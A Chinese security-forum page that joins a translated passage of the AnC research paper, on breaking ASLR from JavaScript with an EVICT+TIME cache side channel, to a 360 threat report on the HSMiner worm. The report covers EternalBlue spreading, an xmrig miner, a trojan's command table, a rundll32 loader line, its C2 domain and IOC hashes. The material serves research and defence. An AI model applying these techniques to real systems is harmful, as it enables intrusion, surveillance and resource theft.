我们使用PRIME + PROBE在最开始实现AnC。 它花费了很长时间来建立最佳驱逐集，并且最终由于噪声很高而不能识别MMU信号。
为了解决这些问题，我们利用我们的目标的独特属性，这样可以不建立最佳驱逐集（第五章C节），从而不会产生大量噪声，并且由于能够控制触发器（MMU的页表遍历），我们可以选择一个更奇特的EVICT+TIME
攻击，允许我们避免PRIME + PROBE（第五章D节）的缺点。
### C.缓存颜色对AnC来说不重要
基于缓存的边信道攻击受益于在后端操作之后的缓存状态中可用的整合信息 - 受害者访问的缓存集。 缓存集由颜色（即页颜色）和页（缓存行）偏移量唯一标识。
例如，具有8192个缓存集的LLC中的缓存集可以由（颜色，偏移）元组标识，其中0≤color<128并且0≤offset <64。
ASLR对页偏移中的指针（即，随机化指针）进行编码。
我们可以为页面内的64个缓存行偏移量中的每一个构建一个驱逐集合，驱逐每个集合的该缓存行偏移量的所有颜色。
唯一的问题是不同页表级的页表项可能使用不同的页面颜色，因此，我们就会看到重叠的偏移信号。
但是考虑到我们可以控制观察到的虚拟地址相对于我们的目标虚拟地址的偏移，我们可以控制不同页表级内的页表项的偏移，如第三章D节所述，来解决这个问题。
在下面的描述中，我们的EVICT + TIME攻击不依赖驱逐集的执行时间。 这意味着我们不需要构建最佳驱逐集。
加上ASLR对颜色不可知的事实，我们可以使用任何页面作为驱逐集合的一部分。
不能使用特定的颜色布局方案来分配页表来避免显示这个信号，因为它们都会出现在我们的驱逐集中。
这意味着，在足够大量的内存页的情况下，我们可以在给定页偏移量下从LLC（和L1D和L2）逐出任何页表项，而不依赖于需要很长时间构建的最佳驱逐集。
### D.MMU上的EVICT+TIME攻击
对加密密钥或窃听的传统侧信道攻击有利于观察整个LLC的状态。 这就是为什么诸如PRIME + PROBE 和FLUSH +
RELOAD是允许攻击者观察LLC的整个状态的侧信道攻击的原因。
与这些攻击相比，EVICT + TIME只能在每个测量周期获得关于一个缓存集的信息，与PRIME + PROBE等攻击相比，减少了带宽。 EVICT +
TIME进一步做出强有力的假设，即攻击者可以在执行后台运算时观察目标主机的性能。 虽然这些属性经常使EVICT +
TIME比其他的缓存攻击差，但是它容易地适用于AnC：AnC不需要高带宽（例如，破解加密密钥），并且它可以监视受害者（即，MMU），因为其执行后台（即，页表遍历）。EVICT
+ TIME在以下步骤中实现AnC：
###### 1.使用一个足够大的内存页集作为驱逐集。
###### 2.对于在可能的64个偏移中的偏移t处的目标缓存行，通过读取驱逐集中的所有内存页中的相同偏移量来驱逐缓存行。
访问此集合还会刷新dTLB和已指定的TLB。 如果我们是目标代码，通过在偏移量t执行函数来调用iTLB。
###### 3.通过在堆目标的情况下解引用，或者在代码目标的情况下在该位置执行函数时，访问我们想要在与t不同的缓存行去随机化的目标虚拟地址。
EVICT + TIME的第三步触发页表遍历，取决于偏移t的缓存行是否是托管页表项缓存行，操作将需要更长或更短的时间。 EVICT +
TIME解决了我们面对PRIME +
PROBE的问题：首先，我们不需要创建最佳的LLC驱逐集，因为我们不依赖驱逐集提供信息，其次，LLC驱逐集是用TLB驱逐集，减少由于较少的页表遍历产生的噪声。
更重要的是，这些页表遍历（由于TLB未命中）导致显着减少错误信息，还是因为我们不依赖于探测驱逐集来获得时间信息。
由于这些改进，当在解引用堆地址和执行JIT函数时，在JavaScript中的所有64个可能的缓存行偏移上尝试EVICT +
TIME时，可以观察到与目标虚拟地址的页表项对应的缓存行偏移。 我们在第七节提供进一步的评估，但在此之前，我们描述如何可以唯一地标识由EVICT +
TIME标识的缓存行内的页表项的偏移量。
### E.页表项切片
在这个阶段，我们已经识别了在不同页表级的页表项的（可能重叠的）缓存行偏移。
对于ASLR仍然保留两个熵源：由于不可能区分哪个缓存行偏移属于哪个页表级，并且缓存行内的页表项的偏移量尚未知道。
我们通过分配一个足够大的缓冲区（在我们的这种情况下是分配一个2G的空间）和访问这个缓冲区中的不同位置来解决这两个熵源，以便对已经分配了缓冲区的虚拟地址去随机化。
我们对PTL1和PTL2去随机化的方法不同于我们对PTL3和PTL4去随机化的额方法。 我们在下面描述这两种技术。
将PTL1和PTL2去随机化：让我们从PTL1的页表项托管目标虚拟地址v的缓存行开始。我们观察到当（可能的）4个高速缓存行之一改变时，因为我们访问v +
i×4KB， 1,2，...，8}。
如果其中一个缓存行在i处改变，它立即向我们提供两条信息：改变的缓存行正在托管PTL1的页表项，并且PTL1的v的页表项偏移是8-i。
我们可以执行相同的技术在PTL2对页表项去随机化，但是现在我们需要增加2MB观察PTL2，这样能达到和每次增加4KB的地址相同效果。
作为示例，图5示出了当我们改变PTL1处的页表项的缓存行时AnC观察到的示例MMU活动。
将PTL3和PTL4去随机化：如我们在第三章E节中讨论的，为了使PTL3去随机化，我们在我们的2GB分配内的虚拟地址空间中进行一个的8GB交叉，用来对PTL4去随机化，我们需要在我们分配的空间内进行一个4TB虚拟地址空间交叉。我们依赖于第六节讨论的内存分配器在浏览器中的行为，以确保我们的（许多）分配之一满足这个属性。但是假设我们在PTL3或PTL4改变了缓存行，则我们希望检测和去随机化相对的级别。
注意，在PTL4处交叉的缓存行将不可避免地导致高速缓存行在PTL3处交叉。
记住PTL3上的每个页表项都覆盖1GB的虚拟内存。
因此，如果在PTL3处的缓存行交叉在我们的2GB分配空间内发生，则当交叉正好在缓冲区的中间时，我们的分配可以覆盖两个或三个PTL3页表项。
因为完全在中间的交叉是不可能的，我们考虑具有三个页表项的情况。 三个页表项中的两个或一个在新的缓存行中。
通过在访问分配中的第一页，中间页和最后一页时观察PTL3缓存行，我们可以很容易地区分这两种情况，并完全去随机化PTL3。
只有在PTL3处的缓存行在其相应页表页中的最后时隙中时才发生在PTL4处缓存行交叉。
通过执行类似的技术（即，访问分配中的第一和最后一页），如果观察到页表项缓存行PTE2从最后一个时隙改变到第一时隙，并且另一个页表项缓存行PTE1向前移动一个时隙，
可以结束PTL4交叉并且独特地将PTE2鉴定为PTL3处的页表项并且将PTE1鉴定为PTL4处的页表项。
### F.解决ASLR
我们创建了一个简单的求解器，以便对可能的解决方案进行排名，因为我们在2GB分配空间中搜索不同的页面。
我们的求解器为我们的分配缓冲区的第一页的每个页表级假定512个可能的页表项，并且在每个页表级独立于其他级别对解决方案进行排名。
当我们使用我们在第五章E1节和第五章E2节中描述的方法在缓冲区中探索更多页面时，我们的求解程序在其中一个解决方案中获得显着的置信度，或者放弃并开始一个新的2GB分配。
如果在这些页表级存在缓存行交叉，则解决方案会始终对PTL1和PTL2以及PTL3和PTL4进行去随机化。
### G.驱逐页表缓存
如第三章B节所述，一些处理器可以将针对不同页表级的翻译结果缓存在其TLB中。 AnC需要驱逐这些缓存以便观察来自所有页表级的MMU信号。
这很简单：我们可以访问一个大于这些缓存大小的缓冲区作为TLB和LLC驱逐的一部分。
例如，Skylake i7-6700K内核可以缓存32个项用于PTL2查找。 假设我们探测在页表页的第i个高速缓存行中是否存在页表活动，访问0 +
i×64,2MB + 1×64,4MB + i×64的64MB（即，32×2MB） 64，...，62MB + i×64将驱逐PTL2页表缓存。
虽然我们需要实现这种机制并本地观察所有页表级的信号，我们注意到由于JavaScript运行活动，这些页表缓存在我们的探测期间会被自然驱逐。
### H.处理噪声
实现旁信道攻击的主要问题是噪声。 我们部署了许多对策，以减少噪声。 我们在这里来介绍一下：
随机探测：为了避免硬件预取器引起的错误，我们（仍然）需要探索的可能剩余偏移量中随机选择t（我们驱逐的页偏移量）。这种随机选择也有助于均匀由系统事件引起的局部噪声。
每个偏移量多次采样：为了增加探测的可靠性，我们对每个偏移量进行多次采样（“回合”），并考虑用于决定缓存与存储器访问的中值。
这个简单的策略大大降低了假阳性和假阴性。 对于大规模实验和可视化测量对其他求解参数的影响，请参见第七章C节
对于AnC攻击，假定是无影响的，因为攻击者总是可以使用新的分配重试，我们将在下一节中讨论。
我们使用Chrome和Firefox在第七节中评估AnC攻击的成功率，误报和假否定。
### I.讨论
我们实现了两个版本的AnC。 在C中的本机实现，以便研究不具有JavaScript干扰和JavaScriptonly实现的MMU页表遍历活动的行为。
我们将本机版本移植到不同的体系结构和Microsoft Windows 10，以显示第七章D节中介绍的AnC的通用性。
我们的移植努力围绕着实现本地版本的SMC（第四章B节）来准确区分ARM上的缓存和非缓存内存访问，ARM只提供粗粒度（0.5μs）定时机制和处理不同的页表结构。
我们的本地实现代码共1283行。
我们的JavaScript专门在Chrome和Firefox浏览器上工作，目的是展示在第七章中的各种实验中提出的AnC攻击对操作系统的影响。我们需要使用asm.js
调整JavaScript实现，来使测量更快，更可预测。这限制了我们的分配大小最大是2GB。 我们的JavaScript实现用了2370行代码。
* * * | 社区文章 |
# 敛财百万的挖矿蠕虫HSMiner活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
永恒之蓝漏洞自从2017年4月NSA黑客工具公布之后，越来越多被用于非法网络活动。从勒索病毒WannaCry、NotPetya，到挖矿病毒Powershell
Miner、NrsMiner无不利用这一工具大肆活动。
而在近日，360企业安全天擎团队监测到一种新的利用NSA黑客工具进行传播的挖矿病毒（挖取XMR/门罗币），该病毒家族在最近两个月内进行了疯狂传播，数月时间就通过挖矿获利近百万人民币。因其挖矿安装模块名称为hs.exe，我们将其命名为HSMiner，该病毒主要利用永恒之蓝、永恒浪漫漏洞进行传播，除具有挖矿功能外，还具备远控木马功能：
## 样本分析
360企业安全天擎团队对该样本进行了详细分析，样本功能主要分为传播、挖矿和远控三大模块。病毒会通过判断运行时的本地互联网出口IP所在地区来获取攻击者事先准备好的对应地区的IP地址列表进行SMB漏洞利用传播，并开启挖矿（XMR/门罗币）和远控功能以实现敛财和长期控制受害者电脑的目的。
### 传播模块
病毒的传播模块在运行时，通过访问 <http://2017.ip138.com/ic.asp>
获取本地互联网出口IP所在地区，根据IP所在地复制事先准备好的全国按地区划分的IP地址表（见图1），比如IP所在地是北京(见图2)，则拷贝北京的IP地址列表至待扫描目标地址表。然后依次扫描这些地址的445端口，对445开放的主机进行攻击，攻击工具为2017年4月泄露的
NSA永恒之蓝、永恒浪漫黑客工具，攻击成功的计算机将被安装后门，最后通过该后门加载Payload下载安装挖矿程序包。
图1 按地区划分IP地址列表
图2 北京地区部分IP地址列表
图3永恒之蓝、永恒浪漫攻击脚本
永恒之蓝、永恒浪漫攻击成功后会植入一个payload模块，该模块将被注入在系统lsass.exe进程中运行，部分代码如下：
图4 漏洞植入Payload 代码
该代码主要用于下载病毒完整程序包，下载文件随后更名为”C:\qwa.exe” 并运行安装，简单粗暴。
传播模块最终采用 Windows第三方服务管理工具被安装成为一个系统服务常驻系统运行：
图5 安装传播服务模块
### 挖矿模块
挖矿模块的安装包是一个Winrar自解压程序，文件名称为hs.exe。解压包内容如下：
图6 HSMiner挖矿自解压程序
自解压后执行脚本wx.bat：
图7 安装HSMiner挖矿服务
如上图所示，通过第三方服务管理工具windows.exe将挖矿程序 iexplorer.exe以服务形式安装在计算机中。
我们在分析中还发现该家族存在多个变种，其中部分变种有黑吃黑现象，也即这些变种在挖矿前，会将其他挖矿、勒索、木马等病毒来一次大扫荡，以便于自身不被其他病毒影响从而更好地利用系统资源进行挖矿，如下图所示为部分脚本：
图8 清理其他挖矿、勒索、木马等病毒
挖矿程序本身是在开源程序xmrig基础上编译而来，如下图所示为程序命令行参数说明：
图9 挖矿命令行参数
### 远控木马
HSMiner带了一个远控木马，该木马采用 VC 编写，运行后释放一个 DLL 文件，并将该DLL注册为系统服务运行。
从资源释放一个DLL文件：
通过读取注册表判断是否安装有360安全卫士：
如果安装有360安全卫士则退出执行，否则调用WinExec来运行rundll32.exe，通过这种方式加载运行dll：
调试查看实际运行命令行：
命令行如下：
rundll32 “C:\windows\kuai4394495.dll”,ServiceMain
释放的 DLL 是木马母体程序。该DLL程序首先解密自身数据，如下是部分截图：
接着注册一个svchost共享进程服务：
最终该服务在注册表中效果如下：
接着分析服务入口主程序ServiceMain：
首先创建线程，遍历进程是否有DSMain.exe（进程名以倒序排列，该进程为360安全卫士在查杀病毒时启动的杀毒模块），如果发现该进程，样本会删除自身创建的服务注册表：
接着解密自身一段数据：
wxlinux.top 即是该木马通讯的 C2 服务器，尝试连接C2服务器：
成功连接服务器后，则会创建线程与服务器进行通讯：
当与服务器建立通讯后，会尝试获取计算机配置信息，包括处理器核心数、cpu频率、内存使用百分比等，并且会尝试遍历进程，查询是否有杀软进程或者指定的进程：
将数据发送给服务器：
设置全局钩子, 用来记录键盘输入数据:
将数据进行异或加密后保存到指定的文件：
木马采用tcpip协议与服务器进行通讯，当接收到数据后，会进行解密，然后根据命令执行对应的功能，限于篇幅，各功能这里不一一分析，以下列出该木马命令协议：
命令id | 功能
---|---
0x1 | 收集系统盘符信息以及剩余磁盘空间
0x10 | 负责截屏以及键盘鼠标控制
0x1A | 控制摄像头获取视频信息
0x1F | 读取键盘输入数据记录的文件
0x22 | 音频录制
0x23 | 遍历系统进程信息发送给服务器，以及结束指定进程
0x28 | 启动cmd执行病毒服务器指定的命令
0x2A | 提升关机权限
0x2B | 删除自身服务
0x2c | 通过服务器返回的指定url下载pe文件并执行
0x2E | 清除系统日志
0x30 | 调用shellexcuteA启动指定进程
0x35 | 遍历窗口信息以及查询指定进程是否存在
0x86 | 创建windows用户帐户
0x85 | 设置指定注册表键值
## 溯源分析
### 测试样本
通过360威胁情报中心的大数据分析平台，我们关联到一个攻击者的测试样本：
样本MD5 | 65b148ac604dfdf66250a8933daa4a29
---|---
PDB路径 | E:\有用的\Projects\Dllhijack\Dllhijack\Release\Dllhijack.pdb
之所以说是测试的样本，是因为该DLL加载入口处包含MessageBox函数：
该测试样本的编译时间为：2017年6月23日：
### 同源样本
360威胁情报中心根据该测试样本的PDB路径继续关联到了600多个同源样本（MD5见IOC节）。经过分析鉴定发现这批同类样本应该是利用生成工具，使用配置器修改生成的：
一致的代码结构和字符串信息：
## 目标和受害者分析
### 攻击时间
根据360网络研究院的全网数据抽样统计，对攻击者挖矿的矿池域名a.wxkuangji.com
的大量访问主要集中在2018年5月和6月，也就是说该病毒家族在最近两个月进行了疯狂的传播并大肆敛财：
### 挖矿统计
该挖矿病毒在不同变种中使用了多个钱包，如下为部分钱包地址：
钱包地址
其中一个地址很活跃，以下是最近一个月的挖矿统计：
截至目前，以上钱包累计挖矿近 882 XMR，加上其他钱包共约 1000
XMR。查看最新的XMR/门罗币价格可以推算，该团伙在数个月内就疯狂敛财至少近百万人民币：
### 地域分布
继续基于本次挖矿病毒访问的矿池地址a.wxkuangji.com域名解析数据统计结果进行分析，分析结果显示全国多个地区均被感染了该类病毒，并且江苏和广东这两大发达地区是本次攻击的重点区域：
## 总结及建议
由上述分析可见，HSMiner挖矿病毒采用简单有效的方式进行传播，并附带了成熟完备的远控木马，从分析可见该病毒背后团伙应该是国内近段时间较为活跃某黑产组织。其挖矿获利已经接近1000XMR（近百万人民币），值得我们提高警惕，防患以未然。
目前360安全卫士/天擎都能对本次攻击中使用的恶意代码进行查杀，360威胁情报中心提醒各企业用户，尽可能安装企业版杀毒软件，如有需要，企业用户可以建设态势感知，完善资产管理及持续监控能力，并积极引入威胁情报，以尽可能防御此类攻击。360企业安全的天眼高级威胁检测系统、NGSOC及态势感知系统已能全面基于威胁情报发现企业网络中历史上已发生或进行中的这波攻击，如发现被攻击的迹象请立即启动应急预案或联系360安服团队协助处置。
## IOC
**矿池地址**
---
a.wxkuangji.com
**URL**
wxkuangji.com:520
wxlinux.top:520
**PDB** **路径**
E:\有用的\Projects\Dllhijack\Dllhijack\Release\Dllhijack.pdb
**C &C** **服务器**
wxlinux.top
**MD5**
039751583a138400d245a83d888fb3f9
09fe3cf1d038e65953c567ca7144f598
1aebb0489a25d699720d88f253966d3f
3b5284602e94df2f00dceca9c56bc136
468250f2c7875595cd451c8d9b071e17
54cf120baa08f1f809f5e207f0534679
69e8ade1c8b0cf2475b0c52b56ec317a
77ea6ab3f24909451028b6bb68594bd8
a394f6f7cd3ddc032414097a7ab13f60
bdd24b361c4ff64d3937bb4213721d70
bec1cea6a675b49882db9b68fb3571aa
cfef353aea617ab4aaf13c6dd57be3f7
ddb6f533583fdf656004824d19911ede
ea669d554f0123937bd4872bfd2a63b4
f0651c2198bfe63a08528ce0d34c9049
f9c95fbe57f3e5ebc47e166c55706617
03fdadada0921316cd86e3cd61f98b30
2437dceb11e863647c6698afbd38295d
251f83d0aa81e18ef03ca41f58018a79
4163539fae2ffdcd4b60699007df74f6
55dc95e874fedbf31f625ee9884b46f5
5cbed7ab8b5f6bf41bf207207cfa267f
60351ac08de4e1a27457407f3883b083
6ca039e35b0700b6c38030539503710c
6da351894909450639f5c3a274876e1a
7b1518c06ca77931e5a61f635ae2e881
7f0990ad82a4fc4e4b01fdef64bde707
99881b2022e0ccb5a090f42330379a8c
d402a924705a8a89faeb951014e6ecad
dd0e626a07a29573031a65442b0a61c9
e3dbc3c7c73e87fb9a229a1672d936cc
00747515b6c66aa859eaf05278cd9dfd
00efa2f808ab887199d53140c5569010
01a848e4c4a35e71c759fedabd8450ef
022e9b64ad87e2205f907eb9fcf37f44
0266b4b5aedef2b8fc9ec325c105c0e3
034756ac6b60a88ad68f7d2b61b9a7d2
03b687e429c2c427f98953b709756e9c
052dffd102eb26a9b89345916901e37f
05fef829d22271c8d9773d03ce846758
07ade45bf46a5e07bf63206f0522f6b0
08d608616144c9e39de951c4ad7957fc
09650a51d80391d91bcd088604fc2903
09b6340e8ab29825933ed27df23a6d7a
09bcc2a81fe79da2a4416a3835b6d361
0a0dfcd37a4a07e3765a88805a21a9d7
0ba0077b9d5e9641e57bd2503854131b
0c7bac31dfa3299f6762dc92341376a1
0c7e5e7cc6c8ee9c5e4010fe21ce0845
0d38e7801317684d679cf3aeeecc3a3b
0e99f6cf352325d9804e418ded7308f4
0f332a92641aed69ead020bd5fd32a62
11f1fa8f709bd9fb0a4e584b21563787
147554589e6a4fd66113088a301821ab
14acc7c34d452eabff73197ee9764093
1505aa1c5244adcb3d9fce46fe209217
153d75d7f4ae2293ef50227bc9228bd3
1693c1077a7527da13c8aae5321bacd0
16ee2f8660a6ea711a7b089cc5ff2625
176f234429eedb0071dbbe5a95e6c4ff
189f19dfcfe97897c7f2954d21ea0a10
191050e44eb98e12cefc9ea0857653bc
19c843a8591e6a13dd747b263d286cf7
1a70527eb8af62926ed0cbb42ffddfcd
1a83413acd5f410617ba3c1a7bd10733
1c0b49f4ce6df50b07085205377628d7
1c4f770d8aca1cef9831b51816799554
1d367624d4b8d90d24dcf8976be1ff7f
1d4f09dcb71490c19751fe2041ff1a84
1d52d1ef6a869b95f992226227244f44
1d986858c18d0ea45226eb993fd74542
1de27225212edf5aa7a0caa07fe27e0b
1e0b5c60667675b899de4903836c06e0
1f50661d00c6fe20f50142546d72cb06
200795664dd9e0c11371447359b02c6e
2098d4f069b0896c57040d98f8ea4fee
210e0fc416261ab06daf46ebaae3ff85
213066f73b0bffb5e11390ccb3a9c208
22417f1b6c3f4f3630f1e88720fac365
22a3f781c23a6aef751c1395feaa4409
2331b75e0e703d5a5bdcb62cacc0d222
23d10faa9c254fc3ee1779181c6543ba
24b08bb8ca946f69e35ab1eca43fc393
24e569968ba2d4d7d706a853e2221853
25bd61c652a8cb0e264c957b332fd350
2789b157ff4900c6765e563e966afc8e
27afc3ec383281f2128b1a920b7cf326
27dd38a7b280fc44120023da2e4b3b78
29cddaf3e1d6640bc90eaec424f22cfe
2a0de97578f2633f18b1cbafef24fe99
2b5241c3e3d53e4deb2962f807c9b117
2c5f21610b619868e9462a9244451348
2dcebc9337ea5d836a8803d5f2c152f6
2e147efd5c9738451f63e1ca91e2c16f
2e779f4c96ecacb966f312c45fdf4ba8
2f006597ecc84a0f7bb91fc8b4a56b09
2f21e086e7805899a488d8c2a40dae1a
3183e76f5c44ea88be9870ce83740b8e
349421e130b411fd3d74aca4f1da8df7
34c9c1c0e3947e59e9740b494ee74a86
34cd86a952b3fb88a8b2c1e16c8b1d84
3507524700b1c018a3517eacb5b66ff1
3638c873989aa2a5240e3bfc55506a6c
36d6dbcf0c664cfb3d31438873eb5e0d
37026cc35b9e0fca6a1610368239d2a6
378e5d520b5b38e7c9435e5ba0fab254
3882e87616d82ccc1ac584e0ed966ec6
3900efbfde10810157494cfbfeb8fbe6
39baae664401c6e0b8ebc5b098f981dc
39c8bdfca5429096dba4faa687cb3152
3a8aed91249940b1758c3d13fc78cbd7
3b37db8db278bc20a1133aae9e12d3b9
3b645ad913df27648af76317ceb52608
3be8c33ddef5116cd494196883bb141a
3c00f08cae2357582ff8ce614ea021ab
3da93d4ddea2e4def4df777ab55c23cd
3ea6eb94ab09a220161035562a54bb06
3f2c9d936aef0fa12984feeed1159f26
4006a8c6472e688de86718b8442c1b3f
40363645b9972e6d06a6fd6f13570ddc
4062da4db16e6b2bd565eb530514e5eb
4105cba523453f28260498bca469aa7f
4113dc1f9d9a28a0eff17068115f5307
41162db61180c8e17aabd00abec8220e
412b6c078aea39515cdcf46a1ad03f52
41ac7388eeee8a9d878362afb97f224f
4224fe934a47c6029cb31dbf9940abfa
431f84876a6e5954c10ff1f22ae01444
4338f4a74088bb637ef015ee78a4d075
460fba75f12ef28f783b91d717203adb
47b54f5e0d441a2eee7b44806e824a69
48004878751b59ba1d8043ab280a1dfa
481574c6a87cd23a02d881a395a438af
48373c22f618ab575551022d4dce6d40
48c8c2e87e42038eb98a110e6372f80d
49bd327d235b66f0bf71780f44a02d48
4bdbd6621ad0c998c06131b256f63cbd
4be47372856e3038ae4898564261f602
4c3f762c48675c85b3a7ea49d1cadcc7
4cb7a48e5ee705b4361bf3e9b78c4f78
4de25f1b59493aa607a89d60bedcce8f
4e74fb32c113839078b3e650f01b9eb0
4fb308b05fa12a2086e19e01018352a1
4fff9faafa5cd832c0ff34c3312738cc
501b4083a301fd47e66dfa436ffede1d
51e8101cabc27f79c2cac9466a4fd0a1
52122d92d35c9acac9f959623ec1cd5c
52b0aa0cfed17d1ab2a1b521654dd9ac
5394e802e75314f254862486aba7354e
53a8d1f21282ebd4ce9a00d026ccdb85
547e041377ca946e2e32c85e9c3658b6
55ebf9db8cbd83b9ebe50bc21e0afaff
5696acbfe7bd5c5df79c6ba05684395b
576464f8dadaef4d72b98b8ed2bbc494
57c4892dc092007c26e1e6560791d9f1
57cfe9a472d29e6b9139e906ca0faf16
57fdb0e73ea22ae18889b8cc8872d19b
58bf9e5220e8673eb72213937505d72c
5aa35f7210fdb07a6f62824745f8de6d
5ad78aa20bccc74158858c20a468969d
5d97ca5f9ebe34fcaa7e00f89eadc3d5
5f325c43de8ce60df2ae820283febf90
608130343665ee404f757d73d1f20721
60e2fe701b83abbf9c604965257c8ad5
6122b5ac4a3124a44365840ab2544be5
613acea4ffc164b8084321171b788016
633bb932505fc8b557fa76f665aafbf7
635e5758b03696fae440a4c3b317fa61
63b55d5f1fd78f882638d124dba98a15
63c0ba3514c7319f5b36db4456adc18d
64dc87a1960e264b4b7a52310fdcd562
654c483d51c35f1c795b10191cb5998f
65ab0602e8ff95eb000038a321626240
65c317053941db22ccbd1194628d367a
67e7b9d9b39bca0e27087fcf9fe95535
684953af3a9a0cb4f3250556d5945d50
68e60fdc7b8b781b3ab95122db9f3ec0
695287bc55e79ba2fc83b0553a6b33be
6a278894514221b33ad2359e812323d6
6c4239db8bd1e26c44b7173d951505e6
6d73d12c0f072d997c96151625e06ec0
6e2644b186a64353d4ca3c3005e0d8bf
6f15e02e2cfc58f7a0c0d449b438bc84
6f44c1aa9ee3654d9d22bb9563d90160
711ca55c5131848e12fe461c3c95bcd4
718cde7cc631358dfc3ec32d74033283
721ff73641f36d871ac713f20d6d3190
7225812d83730af28ec7ba6160936515
7252014c4947dbf20d3de9a29adbe786
7255b5024d4cedbdafd8d026664ff55b
72e6a7181807056d1dc689e262c1222b
7429b2fde945247378d8e8e5a2d3b994
75706ba5ea70dfd0d4dacd0c24448110
758e8ab2c79709fa2c905b93a650a0a1
76ceccfec1e38b1079a6049f956e961d
771208438859f028a3198516af5bc098
7726809b7dbc1822d26b5a3df66796c2
776f89d28314afaa57cce2c1c76190f0
78430261102b5cf4c3f8d11fe8419349
784d317d25e8957577483f22720a53e1
787562c2b9a5fe3bba021dbe0a12aee3
7891021796300247bba43b62e1720f3f
7899efb90c851044e6be8a98f16f6ee2
78c6cae862f35800ffb271a18198c043
7a6322538092b2edab5e1487bbb22738
7a9e91060f1b05bce638c3122fb51fd7
7aa18fd18a38cfc9029966562a37728b
7b1b69b6f69f16d1cffecddadb0f901d
7b79ec7674a04f60e2961c533556f67f
7bb2b598beb9ccbc05784003c3379097
7e231e7d7e213dc83d8fe5f64e9de97a
7ece755d4108dab4999b9596fbf08a6f
805257a096732df97e1788c87571dc48
80592c5d042f7112d3932034f549fe76
811c6fec21a558f5d3e0e4ab68f64ffe
81e6d731dd51381c65b8904332d17d3e
81fc4bb3ac4035e30e14e300f92d770e
8457ab0f0b44da14e2093fdec7ff2984
8478383829826ca0731b72bc93b7e602
86a74a664f5fd33b5bd51aa4adae6624
86ca76aaa5a84eaa70e8286f1dd3ac34
86d4ec84eefde24da310ed29716f3fdf
86f78c74353cb07ada681cc829d4a6e8
87dbc2800e6332358fe17c68489ffca3
89c1850dfeced283109e8bd29ca11022
89d7cb816f3d39e7c13fba2222c0a33a
8a58b11ae52d7bbda727ab6c58e629af
8b4aefed485adb507fca1148642b8403
8bc30465114f835deeb3a75db6c22a26
8cdbddc66dd270f01029f21716e547a6
8cec2d411c92d46c3231342407a00f5e
8cf107a6adebcc3bf6d47f5062fd17c6
8daa928fa0d201e113851b6dc785f23a
8dd4c2cb4c3f647bf53c71dd9d8df59a
8e4d56e494e0d0699545e32d04845558
8ea6889a805c30a8a8a2d7ecdf78844c
8ed2ad684ade8784d69a00607442c02d
91249c773010d70e4e1d5c7b1e52d3a7
916c5e357a1f733b78cc7a2179a4ab40
92834cb03345b1bc1a62b2406cec7b31
92a4571601a490f1b09d458fbd841cc0
9354040019efdf7947579bdef168e66a
94204d568aafa4d97f1a246b1605ada5
9438f9d2677f7b6a4e5e03e04d7e6f19
94cb8b7a5663755692db81fc29b93d24
950f10dc3279368e98f5dc205b772b9b
95520e171b408e09ccadfff1c44adbab
95799c897c38fa18c23e76aba7a06f9d
962947de6f7d133887f86d08dcec3aff
96f8611612450dcfc25b96e42449ad3e
97b7d2e8f48eb66306f87fc82d3cf098
97f476ab771360f512c5bd07df0adfd7
9889a52a34ac693cd61107d6453bddf3
9946002c6bbd130d2593619b71cf0851
996f5ce52d9d13300241d6ee0ee866a5
99fa29a691bd1bc3f3af14e2ef9d7749
9a17132e3e61b6b815121f98dcc56671
9c47d4189e2ea3ea3ad4f8611d117c71
9d25680ad32c8f556610318aaea0afe3
9d665b94ec8423935bcf5c55479ac9eb
9dff058efd140cd45a1cae2db4ea94d7
9e7e1e9ed22412f88fc3a43605453bf2
9ea3342d222667e8fc3e0b18b55cfa26
a039f2fdac21ca5a4d32a0d4c08bd4f5
a178dd5528157854f4e90ebda05d7a6c
a339b4df597fd9c30b3c7eb4d972d64e
a487c3b5ea65209036f8939501c64a2c
a4f9f7ed426dc27d2a5fc2103e845a22
a51e0d7071061912b79c3eede350d8e7
a6d0d834811e7a0b96cd4a12744b3386
a7ee6af50058f5eb29607e90bed6236b
aa3b464e9343a4c50c342cd279d0fb8e
abf18e41b2aceb8635dd3b49810b7e94
ac1ee238aab58cae9a47320ec5e931f5
ac66b63881479e78af9d1b01f3b19c24
ac8f284c865414da42ff8ecceee78c07
ad0fd28354ec7c2ff033c06e87fad462
ad8d085adf452e1553df1eed9df6c330
af0e42f51a5b295f5f761b799ebe7d8e
af25a812a9120b01f6e618d241ec2d86
af69145a2e575c4dc8d4dd5607e41348
b158c96b0d1e2a42cb596dff016844e3
b2db040c5d5ba0907837c716e3e55d3e
b2f9b68a6192285a6be599aa7a88c060
b2fe84689c507fe037cdaf33c4b41578
b4b0cc651a31bef5e5ececd4943a2bd3
b638060028cf0d5b522488be3768e203
b7690b23bb6eadbd8221945f65615a54
b7f910e180e19276b0bfa20b644f34dc
b80de61d366cb9a22f57cee41da068be
b869e6519ff036540458c515a1f89943
b8762be7b405806e15b3170ac92960e4
b9702d001fd32ac49f927fd0748fc0bf
b978c5c6be4594b73c87f7b6fcbea9dc
bbd8c0b492e0bd47992b953521549ebf
bccf8b390c3bcec9144f4bc1c31ef6b9
be4e5774c3cbb7509c3bdce9f9edfd7e
be829d10bef0fc25e2f2462703fc586e
bf0118c897e527c60abaadc2bcc3026b
bf444fc1cdced9c0e15a5f896c1ddf63
bfe3206e4d8f2372dad6643242d259f4
c0268ab8fa8835021b698731c32c7e0b
c1608f88d2c55ee067277f40e4a560e4
c1682769e2fc58932c608137ab8acaa0
c20d1995029d05289ce8d64ad513ae5c
c2c14b942de3d9003f1676684e0f884c
c2eacc60dc4e6c3d815f6656dc15e4f2
c32622c2cbe9a5f1fda79f53041c1242
c3839655aefe78255f318c4a1dd5da01
c3a161fec5b35866a4940666c3d5bb9e
c60d9bfaf132fb27729ea8507197ab2c
c636eb47612619f41d62607583668e99
c6687c529871a293a69409d1a28fb727
c75af018d32c8284cbaea934626a5b88
c7cf253adf239976276c9d1fbc1afd97
c81dd88ed6efce903f482da3d123eff0
c942ed08aa4c845ffcfe7e7f0ef54f6c
ca755d4397aa43a255cac085c6a6d873
cacf3e208e8d45ac7795a71e903354b8
cb92101fcb0d12142528688d4ae9be61
cbf7bd59bac49c92527a9142de09207a
cd8a0f44e783b76019e8ca702b2bab43
cdc9a062557135c01fa67dc1289b90d1
ce2c5fac7812c5ae36e49fabd4e2a2e4
ce39cb7febad6ab8432ab3db5b12e83e
cf74fdcb55d271dd42804b59e74f6dc4
d13518cbb32203c073ef70f624d7c77a
d2682bf9363f5ffaa20caae14ee7b539
